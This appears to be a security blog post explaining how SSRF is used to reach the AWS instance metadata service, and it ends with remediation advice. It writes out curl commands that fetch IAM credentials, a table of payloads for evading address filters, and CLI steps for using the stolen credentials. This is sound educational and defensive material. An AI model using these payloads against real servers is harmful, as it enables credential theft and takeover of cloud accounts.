2025-02-10

SSRF in Modern Cloud Architectures

A look at Server-Side Request Forgery exploitation paths in AWS-hosted applications, focusing on IMDS abuse and post-exploitation.

What is SSRF?

Server-Side Request Forgery (SSRF) forces the server to make outbound requests on the attacker's behalf. The attacker controls the destination URL — the server fetches it as if it were a trusted internal request.

Attacker → POST /fetch?url=http://internal-service/
                              ↓
                         Target Server → internal-service (fetches it)

In cloud environments, the most dangerous target isn't an internal microservice — it's the Instance Metadata Service (IMDS).

The IMDS Target

AWS EC2 instances expose a metadata endpoint at:

http://169.254.169.254/latest/meta-data/

This endpoint doesn't require authentication (IMDSv1). If you can make the server request it, you can retrieve:

  • IAM role credentials
  • Instance identity documents
  • User data scripts (often contain secrets)
  • Network configuration

Fetching IAM credentials

# List attached IAM roles
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
 
# Get temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole

Response:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "IQoJ...",
  "Expiration": "2025-02-10T14:00:00Z"
}

With these credentials you can pivot into the AWS account using the AWS CLI.

IMDSv2 — The Defense

AWS introduced IMDSv2 to require a token-based flow:

# Step 1: get a session token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
 
# Step 2: use token in subsequent requests
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

The PUT request cannot be made via most SSRF vectors because:

  1. It requires a custom HTTP header
  2. It's a PUT, not a GET

Bypassing IMDSv2

However, IMDSv2 is opt-in and many environments still run IMDSv1. You can check via:

aws ec2 describe-instances \
  --query 'Reservations[].Instances[].MetadataOptions'

If HttpTokens is optional, IMDSv1 is still active.

Common SSRF Bypasses

Basic filters often block 169.254.169.254 literally. Common bypasses:

Technique Payload
Decimal notation http://2852039166/
Hex notation http://0xa9fea9fe/
IPv6 http://[::ffff:169.254.169.254]/
DNS rebinding Point a domain to 169.254.169.254
URL redirect Redirect from allowed domain to IMDS

Post-Exploitation

Once you have IAM credentials:

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=IQoJ...
 
# Check identity
aws sts get-caller-identity
 
# Enumerate permissions
aws iam list-attached-role-policies --role-name MyRole

From here the attack surface depends entirely on what permissions the role has — S3 read, Lambda invocation, EC2 describe, or in worst cases iam:PassRole and full escalation.

Remediation

  1. Enforce IMDSv2 — set HttpTokens: required on all instances.
  2. Least privilege IAM — instance roles should have only what they need.
  3. Egress filtering — block outbound requests to 169.254.0.0/16 from application processes.
  4. Input validation — validate and allowlist URLs accepted by your application.